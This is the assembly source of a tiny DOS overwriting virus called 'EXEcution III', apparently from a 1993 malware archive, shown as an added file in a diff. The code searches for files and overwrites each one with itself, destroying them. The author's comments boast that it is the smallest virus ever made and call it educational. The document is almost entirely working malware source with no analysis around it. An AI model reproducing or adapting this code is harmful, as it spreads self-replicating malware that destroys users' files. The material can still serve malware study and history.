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MSDOS/Virus.MSDOS.Unknown.23.asm

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+; The EXEcution III Virus.
+;
+; Well, you're now the prouw owner of the smallest virus ever made!
+; only 23 bytes long and ofcourse again very lame..
+; But what the heck, it's just an educational piece of code!!
+;
+; (C) 1993 by [DàRkRàY] of TridenT (Ooooooranje Boooooooven!)
+;
+; Tnx to myself, my assembler, DOS (yuck) and to John Tardy for his
+; nice try to make the smallest (27 bytes and 25 bytes) virus... gotcha!! ;-))
+;
+; BTW Don't forget, I only tested it unter DOS 5.0 so on other versions
+; it might not work!
+
+_CODE   SEGMENT
+        ASSUME  CS:_CODE
+
+        ORG     100h
+START:                                 ; That's where we're starting...
+        FILE    DB '*.*',0h            ; Dummy instruction, SUB's 0FFh from CH
+
+        MOV     AH,4Eh                 ; Let's search!
+DO_IT:  MOV     DX,SI                  ; Make DX = 100h (offset file)
+        INT     21h                    ; Search now dude!
+
+        MOV     AX,3D01h               ; Hmm, infect that fucking file!
+        MOV     DX,9Eh                 ; Name is at DS:[9Eh]
+        INT     21h                    ; Go do it!
+        XCHG    BX,AX                  ; Put the handle in BX
+
+        MOV     AH,40h                 ; Write myself!
+        JMP     DO_IT                  ; Use other routine
+
+_CODE   ENDS
+        END     START
+
+; If you don't like my english: Get lost, you can understand it!